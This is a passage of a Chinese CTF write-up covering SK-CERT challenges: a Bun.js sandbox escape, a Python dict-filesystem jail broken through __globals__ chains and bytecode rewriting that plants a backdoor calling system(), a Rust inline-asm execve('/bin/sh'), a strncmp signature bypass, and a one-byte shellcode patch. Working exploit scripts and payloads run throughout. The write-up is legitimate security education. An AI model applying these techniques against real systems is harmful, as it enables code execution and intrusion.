\u0042\u0075\u006e.$
// a.__proto__={}
\u0061.\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f={}
  • 有一种常用于XSS的函数调用方式,可传参:func`$1 $2` === func($1, $2)
  • Bun.js的API中,包含了一个快速调用系统shell的Bun.$,而且Bun不需要import或者require就可以直接使用。

以下是求解代码:

def input_string(identifer, string):
conn.sendlineafter(b"tasty-bun> ", f"{identifer}=``".encode())
for c in string:
conn.sendlineafter(b"tasty-bun> ", f"{identifer}+=`\\u00{ord(c):02x}`".encode())

def run_shell(args: list[str]):
for iarg, arg in enumerate(args):
input_string(f"${iarg}", arg)

payload = r"$$=\u0042\u0075\u006e.$`{}`.\u0074\u0065\u0078\u0074``".format(' '.join(f"${{${i}}}" for i in range(len(args))))

print(f"{payload = }")
conn.sendlineafter(b"tasty-bun> ", payload.encode())

resp = conn.recvline()
return resp

这个可以非常健壮地执行所有以ASCII字符组成的任何shell命令。

这个题的flag是SK-CERT{\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0066\u0075\u006E}虽然可以解码成this is fun,但解码之前的内容才是flag。

flag3: dictFS (这题出的极好)

这个题是给了一个扩展的Dict类,并且用这个类实现了一个文件系统DirShell,利用getattrget对树形文件系统进行访问。

第一阶段我们只能使用ls,cat,cd这三个命令,这基本相当于我们需要构造一条从Dict对象通过点号一直获取到。

我们需要获取在DirShell__init__初始化时定义的self.root_password。因此我们要么获取闭包main里面的shell对象(目前没想到怎么进入闭包),要么获取Dirshell.__init____code__中的co_consts,包含函数实现时的所有常量。

这里需要利用两个Python机制:

  • 函数的__globals__包含了函数定义时可访问的全局变量。非builtins类的__init__.__globals__几乎一定包含了所在模块的全局变量。
  • help.__repr__.__globals__可以访问builtins的全局变量,里面有sys模块,而sys.modules.__main__可以获得主函数(其实可能也能获得其他自定义模块),因此可以任意访问所有引入的模块
/mnt/__init__/__globals__/__builtins__/help/__repr__/__globals__/sys/modules/__main__/DirShell/__init__/__code__$> cat co_consts
# __YouAreNever$$84982198481nGonnaGu((*8essThiSS_!*&^

接下来获得了写入的权限,具体来说:

  • touch可以向某个节点setattr一个字符串
  • mkdir可以向某个节点setattr一个Dict()
  • rewrite比较特殊,它会首先分离当前节点,对当前节点进行deepcopy,替换目标为特定bytes,最后在把分离的当前节点添加回去。

目前看起来rewrite可以用于复写函数的__code__.co_code从而劫持操作流。

考虑到手写bytecode实在过于困难(有python-xasm项目可以汇编bytecode但是呃呃),我最终选择在本地用相同Python版本写一个修改后的函数,然后直接取__code__.co_code的字节码。

但是Python的字节码的代码和数据分离,而最重要的co_namesco_consts分别存储了函数用到的标识符和常量名称,代码是通过序号对这两个常量池进行取指的,因此我们需要寻求一种能够对元组进行修改的方案。

另外,当函数内使用多于co_varnames的局部变量时,似乎会发生函数越界,产生一些不可控的行为,因此最好不要出现这种情况。

最终我的方案涉及到对DirShell.debug_rewrite方法进行修改:

def debug_rewrite(self, filename, content):
if not self.is_root:
print("Permission denied")
return
current = self.get_current_dir()
if hasattr(current, filename):
current_copy = self.current_path.copy()
current_top = current_copy.pop()
setattr(
self.get_current_dir(current_path=current_copy),
current_top,
current.replace(**{filename: bytes.fromhex(content)}),
)
# co_consts = (None, 'Permission denied', ('current_path',))
# co_names = ('is_root', 'print', 'get_current_dir', 'hasattr', 'current_path', 'copy', 'pop', 'setattr', 'replace', 'bytes', 'fromhex')
# co_varnames = ('self', 'filename', 'content', 'current', 'current_copy', 'current_top')

我们需要在使用完全相同的标识符、局部变量和常量的情况下,修改这个函数的逻辑,使得它能够实现为节点上某个元组添加新元素的功能

姑且忽略痛苦的思考过程和错误尝试,最终代码如下:

def debug_rewrite(self, filename, content):
if not self.is_root:
print("Permission denied")
return
# current is tuple object
current = self.get_current_dir()
if hasattr(current, filename):
current_copy = self.current_path.copy()
current_top = current_copy.pop()
setattr(
self.get_current_dir(current_path=current_copy),
current_top,
current.replace(**{filename: bytes.fromhex(content)}),
)
return

# copy of directory tree to co_consts list[str]
current_copy = self.current_path.copy()
# directory tree to __code__
current_copy.pop()
# to save space, content absorb all
content = {filename: (*current, content)}
# now this is the __code__ obj
filename = self.get_current_dir(current_path=current_copy)
current_top = current_copy.pop()
setattr(
self.get_current_dir(current_path=current_copy),
current_top,
filename.replace(**content),
)

一些细节:

  • 所有我的函数体都附在最后,这是为了保证已定义的变量和标识符第一次出现顺序和原本函数一致。
  • 原本功能还在,只是加了后门,以保证后续co_code仍可修改。后门通过进入对应元组所在节点触发。
  • 基本思路:回溯两层,即可同时拿到元组和code变量,通过解包运算符加入新的元素。
  • 注意不要定义新的局部变量。

顺便一提,修改后的函数是可以用VSCode的Python调试器调试的,只要一直点击step over即可,虽然所有行数都不对,但所有变量的变化都是跟随的。

事实上只需要在co_names加入__import__system,即可通过如下方式触发后门shell

def debug_rewrite_system(self, filename, content):
if not self.is_root:
print("Permission denied")
return
# current is tuple object
current = self.get_current_dir()
if hasattr(current, filename):
current_copy = self.current_path.copy()
current_top = current_copy.pop()
setattr(
self.get_current_dir(current_path=current_copy),
current_top,
current.replace(**{filename: bytes.fromhex(content)}),
)
return
current = ()
__import__(filename).system(content)

值得一提,我也不知道为什么,有的时候co_consts里会多一个空元组。好在最后我完全可以用两个入参来传递常量。

flag4: Blazing-fast, memory-safe interpreter

似乎是Python包装的rust编译器,我们只能填一个函数体,

……不会rust,所以喂给deepseek R1。

结果它告诉我,题目过滤了大量的关键字(libc,std,flag,syscall,include),并且限制只用一个宏。

但假如我使用core::arch::asm!,是不是就一下回到手写shellcode的优势区间了?

如果这是预期那意外的简单,建议flag3、flag4调换一下顺序,我觉得flag3值得18分大题。

#![no_std]
#![no_main]
use core::panic::PanicInfo;
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
#[unsafe(no_mangle)]
pub extern "C" fn _start() -> () {
// Our Code Start From Here
static FILE: [u8; 7] = [47, 98, 105, 110, 47, 115, 104];
static mut BUF: [u8; 1024] = [0; 1024];

unsafe{
core::arch::asm!(
"mov rax, 0x3b",
"mov rdi, {file}",
"mov rsi, 0",
"mov rdx, 0",
".byte 0x0f, 0x05",
file = in(reg) FILE.as_ptr(),
out("rax") _,
);
}
// Our Code End Here
// SK-CERT{v3ry_600d_p3rf0rm4nc3}
}

补充一些deepseek告诉我的rust小常识

  • #[unsafe(no_mangle)]表示不对函数名进行混淆修饰,这表示声明的_start就真的是入口函数
    • 因为不混淆修饰会导致覆盖别的函数,所以注定是unsafe的。但这并不意味着函数体里的unsafe块就不需要声明。
  • !结尾的函数名表示宏

★★☆-pwn ByteBusters

四问没什么关联的pwn/shellcode。

flag1: ez overflow

这个题要打一个ELF文件,入门级pwn。

主要问题两个:

  • C标准库随机数预测,其中srand初始化用time(NULL),我们本地跑一个一样的就行了
  • 整数溢出:后面scanf("%ld")读了一个整数,要求它小于0x10的同时,强制转换成int要等于0x1337,我们弄个负数就行了。
    • 值得注意是这题前面fgets只会读至多n-1个字符,如果考虑换行还要再少,如果不注意这点会导致后面scanf时缓冲区残留。其实是比较基础的细节。

flag2: Don't use strncmp in binary data

这个题目是直接给源码的,似乎是一个实现了签名机制的shell沙箱,只能运行白名单指令,部分逻辑我还是读openssl源码才理解的。这就是一个经典的RS256签名程序。

  • 签名时,对命令进行sha256哈希,然后用私钥加密(RSA_private_encrypt需要用d加密),base64编码得到签名
  • 验证时,对签名base64解码得到密文,用RSA_public_decrypt解密得到哈希值(这里是用e的)。然后对命令进行sha256哈希,比较两者是否相等。

我一开始把这两个搞反了,于是没弄清它的密码学难度

但这其实并不是签名的标准做法,openssl推荐使用RSA_sign。我目前的理解是Padding部分不同。

虽然不需要,但是我调研了一下openssl是怎么做padding的:

接下来稍微详细介绍一下本题openssl RSA加密使用的padding,即PKCS#1 v1.5标准,它在密文过短时会把它补到256字节:

00 | TYPE | PS | 00 | M

其中M为原文,TYPE决定了Padding方式。

  • TYPE为00时,所有PS为全00,即RSA运算前完全没有Padding,在明文较短时可能有密码学风险,不推荐。
  • TYPE为01时,PS为全FF,这是加密-解密的推荐做法,能把原文变成一个相当大的数,提升攻击难度。解密时会同时检查TYPE和PS是否满足要求。
  • TYPE为02时,PS为随机字节,但保证其中不包含00字节。这种做法常用于签名算法中,因为每次运算得到的签名都不同,进一步提升了签名预测难度。

从这个角度来看,这套签名机制从密码学上是坚不可摧的。那么有没有其他漏洞呢?

有的兄弟有的,我们看验证签名的部分:

int result = (decrypted_len == SHA256_DIGEST_LENGTH &&
strncmp(decrypted, hash, SHA256_DIGEST_LENGTH) == 0);

看起来没问题啊,先检查字符串长度相等,然后用strncmp比较每个字节,看着没问题啊……假如待比较的hash包含00字节会怎样?

结果是strncmp会认为字符串已经结束,即使传入参数n更大,它也会停止比较并输出0,导致验证成功!

于是我们检查一下发现ls -la的哈希第三位就是00!我们只要找到一个前缀是cat /flag.txt;后面随机的命令,其hash前三位和ls -la相等,我们就可以高枕无忧啦!直接用这个命令和ls -la的签名即可执行命令。

修复方式就是不要用strncmp比较二进制……强转成long再逐个比较也行啊。

flag3: simple shellcode

这个题基本就是我们传一段shellcode然后执行。它初始化时会先把flag读到堆里,地址在栈上。没有任何检查。

我们是做过比这个难得多的shellcode题的(长度限制、字符串绕过、Seccomp沙箱、清空寄存器……群贤毕至),因此这个题基本没什么难度。

flag4: one-byte shellcode patch

这个题比较有趣,题目给了一段短shellcode,我们需要修改一个字节,并且让它能够打印来自/flag.txt的内容。我们允许传递argv参数。

0x11000 <_start>       call   vuln                        <vuln>
0x11005 <_start+5> mov rax, 0x3c RAX => 0x3c
0x1100c <_start+12> xor rdi, rdi RDI => 0
0x1100f <_start+15> syscall
0x11011 <vuln> push rbp
0x11012 <vuln+1> mov ebp, esp
0x11014 <vuln+3> mov rax, 1 RAX => 1
0x1101b <vuln+10> mov rdi, 1 RDI => 1
0x11022 <vuln+17> lea rsi, [rip + 0xfd7] RSI => 0x12000 (message) ◂— 'No flag here!\n'
0x11029 <vuln+24> mov rdx, 0xd RDX => 0xd
0x11030 <vuln+31> syscall
0x11032 <vuln+33> pop rbp
0x11033 <vuln+34> ret

有用的参考资料:

首先说说这个题大致测试框架:首先就是gdb+pwndbg单步执行,然后因为一般只改一个字节,所以通常需要用pwntoolsdisasm遍历被修改后的shellcode会成为什么结果。众所周知disasm启动是很慢的,因此我通常会使用这个snippet来进行批量反汇编测试:

test_shell = disasm(
b''.join([
bytes.fromhex(f"48 31 ff {x:02x} 05 55 89 e5 90 90 90 90 90 90 90 90") for x in range(256)
])
)
print(test_shell)
# python test_shellcode.py | grep -v nop | less

然后就是我玩的过程中发现的一些认识:

  • 48通常用于标记二元运算符的64位特征,同一个指令去掉48前缀经常会是其32位版本
  • push, pop, ret这些通常都是单字节命令
  • 对于常见7字节命令,第一个一般是48,最后四个是操作符,中间两个一般就觉得了指令类型和对哪两个寄存器操作,通常也没什么固定规律,建议遍历。

最后回到这个题目。这个shellcode首先会调用11011的vuln函数,这个函数会调用sys_write打印rodata的字符串,返回后调用sys_exit退出。

gdb断点会发现栈上是rwx权限,entry point处栈地址处是argc,再往下是按顺序排列的argv地址(首先是argv[0]即主程序路径,然后是我们传入的参数),以NULL分隔作为结尾。argv指向的地址也是栈地址。因此很有可能我们是要把shellcode写到argv里(不太可能是sys_read,太受限制),因此我们要想办法跳转到argv指向的shellcode。

考虑到argv[1]离得不远,我们考虑ret时跳转到argv[1],为此我们要打破堆栈平衡,相比正常调用至少要额外pop三次。一个比较接近的成果是把0x11011push rbp改为pop rbp,但这只能让我们跳转到$argv[0],无法控制。

下面就忽略试错过程直接给结果了,我最终发现把1100f的字节改为58时,会得到如下shellcode,会进行两件事:

  • 破坏sys_exit的系统调用,继续运行时进入vuln函数体,但没有经过call的过程,rsp+8
  • 修改后的指令直接包含了pop rax指令,rsp+8
  • 修改syscall后带来的副作用,让后面直到push rbp部分的字节被当成其他无害指令的一部分,rsp+8
  • 没有段错误,之类的。最后虽然多覆盖了一个字节,但因为覆盖的是48,所以只是让mov rax,1变成了mov eax,1,没有影响。
0x11000 <_start>       call   vuln                        <vuln>
0x11005 <_start+5> mov rax, 0x3c RAX => 0x3c
0x1100c <_start+12> xor rdi, rdi RDI => 0
0x1100f <_start+15> pop rax
0x11010 <_start+16> add eax, 0x48e58955
0x11015 <vuln+4> mov eax, 1 EAX => 1
0x1101b <vuln+10> mov rdi, 1 RDI => 1
0x11022 <vuln+17> lea rsi, [rip + 0xfd7] RSI => 0x12000 (message) ◂— 'No flag here!\n'
0x11029 <vuln+24> mov rdx, 0xd RDX => 0xd
0x11030 <vuln+31> syscall
0x11032 <vuln+33> pop rbp
0x11033 <vuln+34> ret

如此实现pop三次,最终在ret处跳转到argv[1]argv[1]的getshell甚至可以直接用shellcraft生成的,没什么要求

★★★-web MemeHistory (未解出)

大型PHP题目,是一个博客网站,有admin bot,有CSP限制(unsafe-hashes)和DOMPurify最新版本。无外网,但有一个Requestbin实例可以看请求URL。第一题是拿到管理员权限,第二题是读取本地文件。

我目前能通过dataurl做到的是能够上传一个绕过getimagesizefromstring的任意文件到uploads/temp/<md5>.[img/gif]...目录下,但是无法作为webshell引入(想来也不是这个思路)。目前认为最可能的是管理员file_get_contents访问网站本身,然后把HTML当图片存到上传下,再被访问,但也有很多问题。

等writeup。

赛后更新:flag1是CSS信息泄露,确实是审计CSP的时候忽视了,其实这个知识点是学过的。 flag2其实更接近我尝试做的方向,我想法已经很接进来,但是了解一下wrapwrap,可以通过filter在任意外部资源前后添加任意内容(gemini骗我说不行,gemini坏)。如果能读任意内容,那应该也能做flag1。